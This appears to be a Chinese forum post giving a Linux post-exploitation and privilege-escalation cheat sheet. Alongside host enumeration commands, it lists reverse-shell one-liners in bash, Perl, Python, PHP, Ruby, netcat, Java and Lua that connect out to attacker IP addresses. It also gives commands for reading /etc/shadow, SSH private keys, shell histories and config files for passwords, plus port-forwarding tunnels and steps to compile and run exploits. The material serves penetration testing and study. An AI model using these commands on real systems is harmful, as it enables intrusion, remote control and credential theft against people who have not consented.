0x00 操作系统相关

操作系统类型版本

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      # Debian 
cat /etc/redhat-release   # Redhat

内核版本,是否是64位

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

环境变量

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

查看是否有打印机

lpstat -a

0x01 应用与服务相关

查看正在运行的程序及对应的用户权限

ps aux
ps -ef
top
cat /etc/services

以root权限运行的进程

ps aux | grep root
ps -ef | grep root

查看安装了的应用

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archives
ls -alh /var/cache/yum/

一些服务的配置文件

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/'

计划任务

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

找存储的明文用户名,密码

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

0x02 通信与网络相关

查看当前网络地址

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

查看网络配置,DNS,DHCP,网关

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

查看网络通信

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

查看缓存

arp -e
route
/sbin/route -nee

tcpdump

tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21

tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

交互式shell

bash版本:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

perl版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php版本:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby版本:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

nc版本:

nc -e /bin/sh 223.8.200.234 1234

nc不使用-e:

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe

mknod:

mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

java版本:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/202.103.243.122/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

lua版本:

lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

端口转发

lcx -<listen|tran|slave>

lcx -listen 4567 33891 #Attacker
lcx -slave 111.222.333.444 4567 127.0.0.1 3389 # On the targets

ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]

ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port

mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe

mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

隧道

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

0x03 用户相关

用户信息

id
who
w
last
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # 列出超级用户
awk -F: '($3 == "0") {print}' /etc/passwd   #列出超级用户
cat /etc/sudoers
sudo -l

列家目录

ls -ahlR /root/
ls -ahlR /home/

从配置文件里面寻找密码

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

看其他用户的操作记录

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

ssh私钥

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

0x04 文件系统相关

/etc/目录下面文件

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

日志文件

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

查看网站文件

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

常见日志文件

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

文件挂载

mount
df -h
cat /etc/fstab

Find命令

find / -perm -1000 -type d 2>/dev/null   # 只有目录所有者才可以更改删除
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # 从下面几个位置: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin 或者其他的bin目录寻找 

find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null #从/,SGUD或者SUID开始查找,排除符号链接,深度为3个文件夹,显示详细的清单并去除错误信息

寻找可写目录

find / -writable -type d 2>/dev/null      # 可写目录
find / -perm -222 -type d 2>/dev/null     # 可写目录 
find / -perm -o w -type d 2>/dev/null     # 可写目录

find / -perm -o x -type d 2>/dev/null     # 可执行目录

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # 可写可执行
目录

查找文件

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print  2>/dev/null # 可写文件
find / dir -xdev \( -nouser -o -nogroup \) -print  2>/dev/null # 无所有者文件

0x05 准备及攻击

查看语言支持

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

查看上传方式

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

寻找exp
http://www.exploit-db.com
http://1337day.com
http://www.securiteam.com
http://www.securityfocus.com
http://www.exploitsearch.net
http://metasploit.com/modules/
http://securityreason.com
http://seclists.org/fulldisclosure/
http://www.google.com

编译exp

which gcc
gcc exp.c -o exp

运行

chmod +x exp
./exp

0x06 提权辅助脚本

LinEnum

linuxprivchecker.py

以上并不全,可能会有什么错误,请各位大大指正或补充。多多学习交流。

最后由 Evi1cg 编辑于2017年01月17日 15:57